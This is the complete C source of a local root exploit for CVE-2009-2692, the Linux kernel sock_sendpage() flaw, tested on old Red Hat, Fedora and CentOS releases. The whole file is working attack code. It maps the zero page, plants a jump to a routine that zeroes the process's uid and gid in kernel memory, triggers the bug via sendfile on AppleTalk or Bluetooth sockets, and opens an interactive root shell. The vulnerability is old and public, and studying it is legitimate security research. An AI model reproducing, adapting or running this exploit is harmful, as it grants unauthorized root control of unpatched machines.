/*
**
** 0x82-CVE-2009-2692
** Linux kernel 2.4/2.6 (32bit) sock_sendpage() local ring0 root exploit (simple ver)
** Tested RedHat Linux 9.0, Fedora core 4~11, Whitebox 4, CentOS 4.x.
**
** --
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
** spender and venglin's code is very excellent.
** Thankful to them.
**
** Greets: Brad Spengler <spender(at)grsecurity(dot)net>,
**         Przemyslaw Frasunek <venglin(at)czuby(dot)pl>.
** --
** exploit by <p0c73n1(at)gmail(dot)com>.
**
** "Slow and dirty exploit for this one"
**
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/personality.h>

unsigned int uid, gid;

void kernel_code()
{
 unsigned long where=0;
 unsigned long *pcb_task_struct;

 where=(unsigned long )&where;
 where&=~8191;
 pcb_task_struct=(unsigned long *)where;

 while(pcb_task_struct){
  if(pcb_task_struct[0]==uid&&pcb_task_struct[1]==uid&&
   pcb_task_struct[2]==uid&&pcb_task_struct[3]==uid&&
   pcb_task_struct[4]==gid&&pcb_task_struct[5]==gid&&
   pcb_task_struct[6]==gid&&pcb_task_struct[7]==gid){
   pcb_task_struct[0]=pcb_task_struct[1]=pcb_task_struct[2]=pcb_task_struct[3]=0;
   pcb_task_struct[4]=pcb_task_struct[5]=pcb_task_struct[6]=pcb_task_struct[7]=0;
   break;
  }
  pcb_task_struct++;
 }
 return;
 /*
 ** By calling iret after pushing a register into kernel stack,
 ** We don't have to go back to ring3(user mode) privilege level. dont worry. :-}
 **
 ** kernel_code() function will return to its previous status which means before sendfile() system call,
 ** after operating upon a ring0(kernel mode) privilege level.
 ** This will enhance the viablity of the attack code even though each kernel can have different CS and DS address.
 */
}
void *kernel=kernel_code;

int main(int argc,char *argv[])
{
 int fd_in=0,fd_out=0,offset=1;
 void *zero_page;

 uid=getuid();
 gid=getgid();
 if(uid==0){
  fprintf(stderr,"[-] check ur uid\n");
  return -1;
 }

 /*
 ** There are some cases that we need mprotect due to the dependency matter with SVR4. (however, I did not confirm it yet)
 */
 if(personality(0xffffffff)==PER_SVR4){
  if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
   perror("[-] mprotect()");
   return -1;
  }
 }
 else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
   perror("[-] mmap()");
   return -1;
 }
 *(char *)0x00000000=0xff;
 *(char *)0x00000001=0x25;
 *(unsigned long *)0x00000002=(unsigned long)&kernel;
 *(char *)0x00000006=0xc3;

 if((fd_in=open(argv[0],O_RDONLY))==-1){
  perror("[-] open()");
  return -1;
 }
 if((fd_out=socket(PF_APPLETALK,SOCK_DGRAM,0))==-1){
  if((fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0))==-1){
   perror("[-] socket()");
   return -1;
  }
 }
gogossing:
 /*
 ** Sometimes, the attacks can fail. To enlarge the possiblilty of attack,
 ** an attacker can make all the processes runing under current user uid 0.
 */
 if(sendfile(fd_out,fd_in,&offset,2)==-1){
  if(offset==0){
   perror("[-] sendfile()");
   return -1;
  }
  close(fd_out);
  fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0);
 }
 if(getuid()==uid){
  if(offset){
   offset=0;
  }
  goto gogossing; /* all process */
 }
 close(fd_in);
 close(fd_out);

 execl("/bin/sh","sh","-i",NULL);
 return 0;
}

/* eoc */